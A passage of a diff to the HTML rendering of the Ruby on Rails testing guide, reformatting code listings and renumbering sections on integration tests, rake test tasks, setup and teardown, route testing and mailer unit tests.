-<tt>assert_select_rjs</tt> Allows you to make assertions on RJS response. <tt>assert_select_rjs</tt> has variants which allow you to narrow down on the updated element or even a particular operation on an element.
-<tt>assert_select_encoded</tt> Allows you to make assertions on encoded HTML. It does this by un-encoding the contents of each element and then calling the block with all the un-encoded elements.
-<tt>css_select(selector)</tt> or <tt>css_select(element, selector)</tt> Returns an array of all the elements selected by the <em>selector</em>. In the second variant it first matches the base <em>element</em> and tries to match the <em>selector</em> expression on any of its children. If there are no matches both variants return an empty array.</p></div>
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>assert_select_email <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
+ assert_select <span style="color: #FF0000">'small'</span><span style="color: #990000">,</span> <span style="color: #FF0000">'Please click the "Unsubscribe" link if you want to opt-out.'</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+</div>
+<h2 id="_integration_testing">5. Integration Testing</h2>
+<div class="sectionbody">
+<div class="paragraph"><p>Integration tests are used to test the interaction among any number of controllers. They are generally used to test important work flows within your application.</p></div>
+<div class="paragraph"><p>Unlike Unit and Functional tests, integration tests have to be explicitly created under the <em>test/integration</em> folder within your application. Rails provides a generator to create an integration test skeleton for you.</p></div>
<div class="listingblock">
-<div class="content">
-<pre><tt>
-Here's an example of using +assert_select_email+:
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ script/generate integration_test user_flows
+ exists test/integration<span style="color: #990000">/</span>
+ create test/integration/user_flows_test<span style="color: #990000">.</span>rb</tt></pre></div></div>
+<div class="paragraph"><p>Here&#8217;s what a freshly-generated integration test looks like:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'test_helper'</span>
-[source,ruby]</tt></pre>
-</div></div>
-<div class="para"><p>assert_select_email do
- assert_select <em>small</em>, <em>Please click the "Unsubscribe" link if you want to opt-out.</em>
-end</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> UserFlowsTest <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>IntegrationTest
+ <span style="font-style: italic"><span style="color: #9A1900"># fixtures :your, :models</span></span>
+
+ <span style="font-style: italic"><span style="color: #9A1900"># Replace this with your real tests.</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_truth
+ assert <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Integration tests inherit from <tt>ActionController::IntegrationTest</tt>. This makes available some additional helpers to use in your integration tests. Also you need to explicitly include the fixtures to be made available to the test.</p></div>
+<h3 id="_helpers_available_for_integration_tests">5.1. Helpers Available for Integration tests</h3>
+<div class="paragraph"><p>In addition to the standard testing helpers, there are some additional helpers available to integration tests:</p></div>
+<div class="tableblock">
+<table rules="all"
+width="100%"
+frame="border"
+cellspacing="0" cellpadding="4">
+<col width="50%" />
+<col width="50%" />
+<thead valign="top">
+<tr>
+<th align="left">Helper </th>
+<th align="left">Purpose</th>
+</tr>
+</thead>
+<tbody valign="top">
+<tr>
+<td align="left"><p class="table"><tt>https?</tt></p></td>
+<td align="left"><p class="table">Returns <tt>true</tt> if the session is mimicking a secure HTTPS request.</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table"><tt>https!</tt></p></td>
+<td align="left"><p class="table">Allows you to mimic a secure HTTPS request.</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table"><tt>host!</tt></p></td>
+<td align="left"><p class="table">Allows you to set the host name to use in the next request.</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table"><tt>redirect?</tt></p></td>
+<td align="left"><p class="table">Returns <tt>true</tt> if the last request was a redirect.</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table"><tt>follow_redirect!</tt></p></td>
+<td align="left"><p class="table">Follows a single redirect response.</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table"><tt>request_via_redirect(http_method, path, [parameters], [headers])</tt></p></td>
+<td align="left"><p class="table">Allows you to make an HTTP request and follow any subsequent redirects.</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table"><tt>post_via_redirect(path, [parameters], [headers])</tt></p></td>
+<td align="left"><p class="table">Allows you to make an HTTP POST request and follow any subsequent redirects.</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table"><tt>get_via_redirect(path, [parameters], [headers])</tt></p></td>
+<td align="left"><p class="table">Allows you to make an HTTP GET request and follow any subsequent redirects.</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table"><tt>put_via_redirect(path, [parameters], [headers])</tt></p></td>
+<td align="left"><p class="table">Allows you to make an HTTP PUT request and follow any subsequent redirects.</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table"><tt>delete_via_redirect(path, [parameters], [headers])</tt></p></td>
+<td align="left"><p class="table">Allows you to make an HTTP DELETE request and follow any subsequent redirects.</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table"><tt>open_session</tt></p></td>
+<td align="left"><p class="table">Opens a new session instance.</p></td>
+</tr>
+</tbody>
+</table>
+</div>
+<h3 id="_integration_testing_examples">5.2. Integration Testing Examples</h3>
+<div class="paragraph"><p>A simple integration test that exercises multiple controllers:</p></div>
<div class="listingblock">
-<div class="content">
-<pre><tt>
-== Integration Testing ==
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'test_helper'</span>
-Integration tests are used to test the interaction among any number of controllers. They are generally used to test important work flows within your application.
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> UserFlowsTest <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>IntegrationTest
+ fixtures <span style="color: #990000">:</span>users
-Unlike Unit and Functional tests, integration tests have to be explicitly created under the 'test/integration' folder within your application. Rails provides a generator to create an integration test skeleton for you.
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_login_and_browse_site
+ <span style="font-style: italic"><span style="color: #9A1900"># login via https</span></span>
+ https!
+ get <span style="color: #FF0000">"/login"</span>
+ assert_response <span style="color: #990000">:</span>success
-[source, shell]</tt></pre>
-</div></div>
-<div class="para"><p>$ script/generate integration_test user_flows
- exists test/integration/
- create test/integration/user_flows_test.rb</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>
-Here's what a freshly-generated integration test looks like:
+ post_via_redirect <span style="color: #FF0000">"/login"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>username <span style="color: #990000">=&gt;</span> users<span style="color: #990000">(:</span>avs<span style="color: #990000">).</span>username<span style="color: #990000">,</span> <span style="color: #990000">:</span>password <span style="color: #990000">=&gt;</span> users<span style="color: #990000">(:</span>avs<span style="color: #990000">).</span>password
+ assert_equal <span style="color: #FF0000">'/welcome'</span><span style="color: #990000">,</span> path
+ assert_equal <span style="color: #FF0000">'Welcome avs!'</span><span style="color: #990000">,</span> flash<span style="color: #990000">[:</span>notice<span style="color: #990000">]</span>
-[source,ruby]</tt></pre>
-</div></div>
-<div class="para"><p>require <em>test_helper</em></p></div>
-<div class="para"><p>class UserFlowsTest &lt; ActionController::IntegrationTest
- # fixtures :your, :models</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt> # Replace this with your real tests.
- def test_truth
- assert true
- end
-end</tt></pre>
-</div></div>
+ https!<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">false</span></span><span style="color: #990000">)</span>
+ get <span style="color: #FF0000">"/posts/all"</span>
+ assert_response <span style="color: #990000">:</span>success
+ assert assigns<span style="color: #990000">(:</span>products<span style="color: #990000">)</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>As you can see the integration test involves multiple controllers and exercises the entire stack from database to dispatcher. In addition you can have multiple session instances open simultaneously in a test and extend those instances with assertion methods to create a very powerful testing DSL (domain-specific language) just for your application.</p></div>
+<div class="paragraph"><p>Here&#8217;s an example of multiple sessions and custom DSL in an integration test</p></div>
<div class="listingblock">
-<div class="content">
-<pre><tt>
-Integration tests inherit from +ActionController::IntegrationTest+. This makes available some additional helpers to use in your integration tests. Also you need to explicitly include the fixtures to be made available to the test.
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'test_helper'</span>
-=== Helpers Available for Integration tests ===
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> UserFlowsTest <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>IntegrationTest
+ fixtures <span style="color: #990000">:</span>users
-In addition to the standard testing helpers, there are some additional helpers available to integration tests:
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_login_and_browse_site
-[grid="all"]
-`----------------------------------------------------------------------------------`-------------------------------------------------------
-Helper Purpose</tt></pre>
-</div></div>
-<div class="para"><p><tt>https?</tt> Returns <tt>true</tt> if the session is mimicking a secure HTTPS request.
-<tt>https!</tt> Allows you to mimic a secure HTTPS request.
-<tt>host!</tt> Allows you to set the host name to use in the next request.
-<tt>redirect?</tt> Returns <tt>true</tt> if the last request was a redirect.
-<tt>follow_redirect!</tt> Follows a single redirect response.
-<tt>request_via_redirect(http_method, path, [parameters], [headers])</tt> Allows you to make an HTTP request and follow any subsequent redirects.
-<tt>post_via_redirect(path, [parameters], [headers])</tt> Allows you to make an HTTP POST request and follow any subsequent redirects.
-<tt>get_via_redirect(path, [parameters], [headers])</tt> Allows you to make an HTTP GET request and follow any subsequent redirects.
-<tt>put_via_redirect(path, [parameters], [headers])</tt> Allows you to make an HTTP PUT request and follow any subsequent redirects.
-<tt>delete_via_redirect(path, [parameters], [headers])</tt> Allows you to make an HTTP DELETE request and follow any subsequent redirects.
-<tt>open_session</tt> Opens a new session instance.</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>
-=== Integration Testing Examples ===
+ <span style="font-style: italic"><span style="color: #9A1900"># User avs logs in</span></span>
+ avs <span style="color: #990000">=</span> login<span style="color: #990000">(:</span>avs<span style="color: #990000">)</span>
+ <span style="font-style: italic"><span style="color: #9A1900"># User guest logs in</span></span>
+ guest <span style="color: #990000">=</span> login<span style="color: #990000">(:</span>guest<span style="color: #990000">)</span>
-A simple integration test that exercises multiple controllers:
+ <span style="font-style: italic"><span style="color: #9A1900"># Both are now available in different sessions</span></span>
+ assert_equal <span style="color: #FF0000">'Welcome avs!'</span><span style="color: #990000">,</span> avs<span style="color: #990000">.</span>flash<span style="color: #990000">[:</span>notice<span style="color: #990000">]</span>
+ assert_equal <span style="color: #FF0000">'Welcome guest!'</span><span style="color: #990000">,</span> guest<span style="color: #990000">.</span>flash<span style="color: #990000">[:</span>notice<span style="color: #990000">]</span>
-[source,ruby]</tt></pre>
-</div></div>
-<div class="para"><p>require <em>test_helper</em></p></div>
-<div class="para"><p>class UserFlowsTest &lt; ActionController::IntegrationTest
- fixtures :users</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>def test_login_and_browse_site
- # login via https
- https!
- get "/login"
- assert_response :success</tt></pre>
-</div></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>post_via_redirect "/login", :username =&gt; users(:avs).username, :password =&gt; users(:avs).password
-assert_equal '/welcome', path
-assert_equal 'Welcome avs!', flash[:notice]</tt></pre>
-</div></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt> https!(false)
- get "/posts/all"
- assert_response :success
- assert assigns(:products)
- end
-end</tt></pre>
-</div></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>
-As you can see the integration test involves multiple controllers and exercises the entire stack from database to dispatcher. In addition you can have multiple session instances open simultaneously in a test and extend those instances with assertion methods to create a very powerful testing DSL (domain-specific language) just for your application.
+ <span style="font-style: italic"><span style="color: #9A1900"># User avs can browse site</span></span>
+ avs<span style="color: #990000">.</span>browses_site
+ <span style="font-style: italic"><span style="color: #9A1900"># User guest can browse site aswell</span></span>
+ guest<span style="color: #990000">.</span>browses_site
-Here's an example of multiple sessions and custom DSL in an integration test
+ <span style="font-style: italic"><span style="color: #9A1900"># Continue with other assertions</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-[source,ruby]</tt></pre>
-</div></div>
-<div class="para"><p>require <em>test_helper</em></p></div>
-<div class="para"><p>class UserFlowsTest &lt; ActionController::IntegrationTest
- fixtures :users</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>def test_login_and_browse_site</tt></pre>
-</div></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt># User avs logs in
-avs = login(:avs)
-# User guest logs in
-guest = login(:guest)</tt></pre>
-</div></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt># Both are now available in different sessions
-assert_equal 'Welcome avs!', avs.flash[:notice]
-assert_equal 'Welcome guest!', guest.flash[:notice]</tt></pre>
-</div></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt># User avs can browse site
-avs.browses_site
-# User guest can browse site aswell
-guest.browses_site</tt></pre>
-</div></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt> # Continue with other assertions
-end</tt></pre>
-</div></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>private</tt></pre>
-</div></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>module CustomDsl
- def browses_site
- get "/products/all"
- assert_response :success
- assert assigns(:products)
- end
-end</tt></pre>
-</div></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt> def login(user)
- open_session do |sess|
- sess.extend(CustomDsl)
- u = users(user)
- sess.https!
- sess.post "/login", :username =&gt; u.username, :password =&gt; u.password
- assert_equal '/welcome', path
- sess.https!(false)
- end
- end
-end</tt></pre>
-</div></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>
-== Rake Tasks for Running your Tests ==
+ private
-You don't need to set up and run your tests by hand on a test-by-test basis. Rails comes with a number of rake tasks to help in testing. The table below lists all rake tasks that come along in the default Rakefile when you initiate a Rail project.
+ <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> CustomDsl
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> browses_site
+ get <span style="color: #FF0000">"/products/all"</span>
+ assert_response <span style="color: #990000">:</span>success
+ assert assigns<span style="color: #990000">(:</span>products<span style="color: #990000">)</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-[grid="all"]</tt></pre>
-</div></div>
-<div class="para"><p>Tasks Description</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>+rake test+ Runs all unit, functional and integration tests. You can also simply run +rake+ as the _test_ target is the default.
-+rake test:units+ Runs all the unit tests from +test/unit+
-+rake test:functionals+ Runs all the functional tests from +test/functional+
-+rake test:integration+ Runs all the integration tests from +test/integration+
-+rake test:recent+ Tests recent changes
-+rake test:uncommitted+ Runs all the tests which are uncommitted. Only supports Subversion
-+rake test:plugins+ Run all the plugin tests from +vendor/plugins/*/**/test+ (or specify with +PLUGIN=_name_+)</tt></pre>
-</div></div>
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> login<span style="color: #990000">(</span>user<span style="color: #990000">)</span>
+ open_session <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>sess<span style="color: #990000">|</span>
+ sess<span style="color: #990000">.</span>extend<span style="color: #990000">(</span>CustomDsl<span style="color: #990000">)</span>
+ u <span style="color: #990000">=</span> users<span style="color: #990000">(</span>user<span style="color: #990000">)</span>
+ sess<span style="color: #990000">.</span>https!
+ sess<span style="color: #990000">.</span>post <span style="color: #FF0000">"/login"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>username <span style="color: #990000">=&gt;</span> u<span style="color: #990000">.</span>username<span style="color: #990000">,</span> <span style="color: #990000">:</span>password <span style="color: #990000">=&gt;</span> u<span style="color: #990000">.</span>password
+ assert_equal <span style="color: #FF0000">'/welcome'</span><span style="color: #990000">,</span> path
+ sess<span style="color: #990000">.</span>https!<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">false</span></span><span style="color: #990000">)</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
</div>
-<h2 id="_brief_note_about_test_unit">4. Brief Note About Test::Unit</h2>
+<h2 id="_rake_tasks_for_running_your_tests">6. Rake Tasks for Running your Tests</h2>
<div class="sectionbody">
-<div class="para"><p>Ruby ships with a boat load of libraries. One little gem of a library is <tt>Test::Unit</tt>, a framework for unit testing in Ruby. All the basic assertions discussed above are actually defined in <tt>Test::Unit::Assertions</tt>. The class <tt>ActiveSupport::TestCase</tt> which we have been using in our unit and functional tests extends <tt>Test::Unit::TestCase</tt> that it is how we can use all the basic assertions in our tests.</p></div>
+<div class="paragraph"><p>You don&#8217;t need to set up and run your tests by hand on a test-by-test basis. Rails comes with a number of rake tasks to help in testing. The table below lists all rake tasks that come along in the default Rakefile when you initiate a Rail project.</p></div>
+<div class="tableblock">
+<table rules="all"
+width="100%"
+frame="border"
+cellspacing="0" cellpadding="4">
+<col width="50%" />
+<col width="50%" />
+<thead valign="top">
+<tr>
+<th align="left">Tasks </th>
+<th align="left">Description</th>
+</tr>
+</thead>
+<tbody valign="top">
+<tr>
+<td align="left"><p class="table"><tt>rake test</tt></p></td>
+<td align="left"><p class="table">Runs all unit, functional and integration tests. You can also simply run <tt>rake</tt> as the <em>test</em> target is the default.</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table"><tt>rake test:units</tt></p></td>
+<td align="left"><p class="table">Runs all the unit tests from <tt>test/unit</tt></p></td>
+</tr>
+<tr>
+<td align="left"><p class="table"><tt>rake test:functionals</tt></p></td>
+<td align="left"><p class="table">Runs all the functional tests from <tt>test/functional</tt></p></td>
+</tr>
+<tr>
+<td align="left"><p class="table"><tt>rake test:integration</tt></p></td>
+<td align="left"><p class="table">Runs all the integration tests from <tt>test/integration</tt></p></td>
+</tr>
+<tr>
+<td align="left"><p class="table"><tt>rake test:recent</tt></p></td>
+<td align="left"><p class="table">Tests recent changes</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table"><tt>rake test:uncommitted</tt></p></td>
+<td align="left"><p class="table">Runs all the tests which are uncommitted. Only supports Subversion</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table"><tt>rake test:plugins</tt></p></td>
+<td align="left"><p class="table">Run all the plugin tests from <tt>vendor/plugins/<strong>/</strong>*/test</tt> (or specify with <tt>PLUGIN=<em>name</em></tt>)</p></td>
+</tr>
+</tbody>
+</table>
+</div>
+</div>
+<h2 id="_brief_note_about_test_unit">7. Brief Note About Test::Unit</h2>
+<div class="sectionbody">
+<div class="paragraph"><p>Ruby ships with a boat load of libraries. One little gem of a library is <tt>Test::Unit</tt>, a framework for unit testing in Ruby. All the basic assertions discussed above are actually defined in <tt>Test::Unit::Assertions</tt>. The class <tt>ActiveSupport::TestCase</tt> which we have been using in our unit and functional tests extends <tt>Test::Unit::TestCase</tt> that it is how we can use all the basic assertions in our tests.</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
@@ -1158,9 +1293,9 @@ You don't need to set up and run your tests by hand on a test-by-test basis. Rai
</tr></table>
</div>
</div>
-<h2 id="_setup_and_teardown">5. Setup and Teardown</h2>
+<h2 id="_setup_and_teardown">8. Setup and Teardown</h2>
<div class="sectionbody">
-<div class="para"><p>If you would like to run a block of code before the start of each test and another block of code after the end of each test you have two special callbacks for your rescue. Let's take note of this by looking at an example for our functional test in <tt>Posts</tt> controller:</p></div>
+<div class="paragraph"><p>If you would like to run a block of code before the start of each test and another block of code after the end of each test you have two special callbacks for your rescue. Let&#8217;s take note of this by looking at an example for our functional test in <tt>Posts</tt> controller:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1196,10 +1331,9 @@ http://www.gnu.org/software/src-highlite -->
assert_redirected_to posts_path
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Above, the <tt>setup</tt> method is called before each test and so <tt>@post</tt> is available for each of the tests. Rails implements <tt>setup</tt> and <tt>teardown</tt> as ActiveSupport::Callbacks. Which essentially means you need not only use <tt>setup</tt> and <tt>teardown</tt> as methods in your tests. You could specify them by using:</p></div>
-<div class="ilist"><ul>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Above, the <tt>setup</tt> method is called before each test and so <tt>@post</tt> is available for each of the tests. Rails implements <tt>setup</tt> and <tt>teardown</tt> as ActiveSupport::Callbacks. Which essentially means you need not only use <tt>setup</tt> and <tt>teardown</tt> as methods in your tests. You could specify them by using:</p></div>
+<div class="ulist"><ul>
<li>
<p>
a block
@@ -1221,7 +1355,7 @@ a lambda
</p>
</li>
</ul></div>
-<div class="para"><p>Let's see the earlier example by specifying <tt>setup</tt> callback by specifying a method name as a symbol:</p></div>
+<div class="paragraph"><p>Let&#8217;s see the earlier example by specifying <tt>setup</tt> callback by specifying a method name as a symbol:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1263,12 +1397,11 @@ http://www.gnu.org/software/src-highlite -->
<span style="color: #009900">@post</span> <span style="color: #990000">=</span> posts<span style="color: #990000">(:</span>one<span style="color: #990000">)</span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
</div>
-<h2 id="_testing_routes">6. Testing Routes</h2>
+<h2 id="_testing_routes">9. Testing Routes</h2>
<div class="sectionbody">
-<div class="para"><p>Like everything else in you Rails application, it's recommended to test you routes. An example test for a route in the default <tt>show</tt> action of <tt>Posts</tt> controller above should look like:</p></div>
+<div class="paragraph"><p>Like everything else in you Rails application, it&#8217;s recommended to test you routes. An example test for a route in the default <tt>show</tt> action of <tt>Posts</tt> controller above should look like:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1276,16 +1409,15 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_should_route_to_post
assert_routing <span style="color: #FF0000">'/posts/1'</span><span style="color: #990000">,</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"posts"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"show"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>id <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"1"</span> <span style="color: #FF0000">}</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
</div>
-<h2 id="_testing_your_mailers">7. Testing Your Mailers</h2>
+<h2 id="_testing_your_mailers">10. Testing Your Mailers</h2>
<div class="sectionbody">
-<div class="para"><p>Testing mailer classes requires some specific tools to do a thorough job.</p></div>
-<h3 id="_keeping_the_postman_in_check">7.1. Keeping the Postman in Check</h3>
-<div class="para"><p>Your <tt>ActionMailer</tt> classes &#8212; like every other part of your Rails application &#8212; should be tested to ensure that it is working as expected.</p></div>
-<div class="para"><p>The goals of testing your <tt>ActionMailer</tt> classes are to ensure that:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>Testing mailer classes requires some specific tools to do a thorough job.</p></div>
+<h3 id="_keeping_the_postman_in_check">10.1. Keeping the Postman in Check</h3>
+<div class="paragraph"><p>Your <tt>ActionMailer</tt> classes&#8201;&#8212;&#8201;like every other part of your Rails application&#8201;&#8212;&#8201;should be tested to ensure that it is working as expected.</p></div>
+<div class="paragraph"><p>The goals of testing your <tt>ActionMailer</tt> classes are to ensure that:</p></div>
+<div class="ulist"><ul>
<li>
<p>
emails are being processed (created and sent)
@@ -1302,15 +1434,15 @@ the right emails are being sent at the right times
</p>
</li>
</ul></div>
-<h4 id="_from_all_sides">7.1.1. From All Sides</h4>
-<div class="para"><p>There are two aspects of testing your mailer, the unit tests and the functional tests. In the unit tests, you run the mailer in isolation with tightly controlled inputs and compare the output to a knownvalue (a fixture &#8212; yay! more fixtures!). In the functional tests you don't so much test the minute details produced by the mailer Instead we test that our controllers and models are using the mailer in the right way. You test to prove that the right email was sent at the right time.</p></div>
-<h3 id="_unit_testing">7.2. Unit Testing</h3>
-<div class="para"><p>In order to test that your mailer is working as expected, you can use unit tests to compare the actual results of the mailer with pre-written examples of what should be produced.</p></div>
-<h4 id="_revenge_of_the_fixtures">7.2.1. Revenge of the Fixtures</h4>
-<div class="para"><p>For the purposes of unit testing a mailer, fixtures are used to provide an example of how the output <em>should</em> look. Because these are example emails, and not Active Record data like the other fixtures, they are kept in their own subdirectory apart from the other fixtures. The name of the directory within <tt>test/fixtures</tt> directly corresponds to the name of the mailer. So, for a mailer named <tt>UserMailer</tt>, the fixtures should reside in <tt>test/fixtures/user_mailer</tt> directory.</p></div>
-<div class="para"><p>When you generated your mailer, the generator creates stub fixtures for each of the mailers actions. If you didn't use the generator you'll have to make those files yourself.</p></div>
-<h4 id="_the_basic_test_case">7.2.2. The Basic Test case</h4>
-<div class="para"><p>Here's a unit test to test a mailer named <tt>UserMailer</tt> whose action <tt>invite</tt> is used to send an invitation to a friend. It is an adapted version of the base test created by the generator for an <tt>invite</tt> action.</p></div>
+<h4 id="_from_all_sides">10.1.1. From All Sides</h4>
+<div class="paragraph"><p>There are two aspects of testing your mailer, the unit tests and the functional tests. In the unit tests, you run the mailer in isolation with tightly controlled inputs and compare the output to a knownvalue (a fixture&#8201;&#8212;&#8201;yay! more fixtures!). In the functional tests you don&#8217;t so much test the minute details produced by the mailer Instead we test that our controllers and models are using the mailer in the right way. You test to prove that the right email was sent at the right time.</p></div>
+<h3 id="_unit_testing">10.2. Unit Testing</h3>
+<div class="paragraph"><p>In order to test that your mailer is working as expected, you can use unit tests to compare the actual results of the mailer with pre-written examples of what should be produced.</p></div>
+<h4 id="_revenge_of_the_fixtures">10.2.1. Revenge of the Fixtures</h4>
+<div class="paragraph"><p>For the purposes of unit testing a mailer, fixtures are used to provide an example of how the output <em>should</em> look. Because these are example emails, and not Active Record data like the other fixtures, they are kept in their own subdirectory apart from the other fixtures. The name of the directory within <tt>test/fixtures</tt> directly corresponds to the name of the mailer. So, for a mailer named <tt>UserMailer</tt>, the fixtures should reside in <tt>test/fixtures/user_mailer</tt> directory.</p></div>
+<div class="paragraph"><p>When you generated your mailer, the generator creates stub fixtures for each of the mailers actions. If you didn&#8217;t use the generator you&#8217;ll have to make those files yourself.</p></div>
+<h4 id="_the_basic_test_case">10.2.2. The Basic Test case</h4>
+<div class="paragraph"><p>Here&#8217;s a unit test to test a mailer named <tt>UserMailer</tt> whose action <tt>invite</tt> is used to send an invitation to a friend. It is an adapted version of the base test created by the generator for an <tt>invite</tt> action.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1330,10 +1462,9 @@ http://www.gnu.org/software/src-highlite -->
assert_equal <span style="color: #009900">@expected</span><span style="color: #990000">.</span>encoded<span style="color: #990000">,</span> UserMailer<span style="color: #990000">.</span>create_invite<span style="color: #990000">(</span><span style="color: #FF0000">'me@example.com'</span><span style="color: #990000">,</span> <span style="color: #FF0000">'friend@example.com'</span><span style="color: #990000">,</span> <span style="color: #009900">@expected</span><span style="color: #990000">.</span>date<span style="color: #990000">).</span>encoded
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>In this test, <tt>@expected</tt> is an instance of <tt>TMail::Mail</tt> that you can use in your tests. It is defined in <tt>ActionMailer::TestCase</tt>. The test above uses <tt>@expected</tt> to construct an email, which it then asserts with email created by the custom mailer. The <tt>invite</tt> fixture is the body of the email and is used as the sample content to assert against. The helper <tt>read_fixture</tt> is used to read in the content from this file.</p></div>
-<div class="para"><p>Here's the content of the <tt>invite</tt> fixture:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>In this test, <tt>@expected</tt> is an instance of <tt>TMail::Mail</tt> that you can use in your tests. It is defined in <tt>ActionMailer::TestCase</tt>. The test above uses <tt>@expected</tt> to construct an email, which it then asserts with email created by the custom mailer. The <tt>invite</tt> fixture is the body of the email and is used as the sample content to assert against. The helper <tt>read_fixture</tt> is used to read in the content from this file.</p></div>
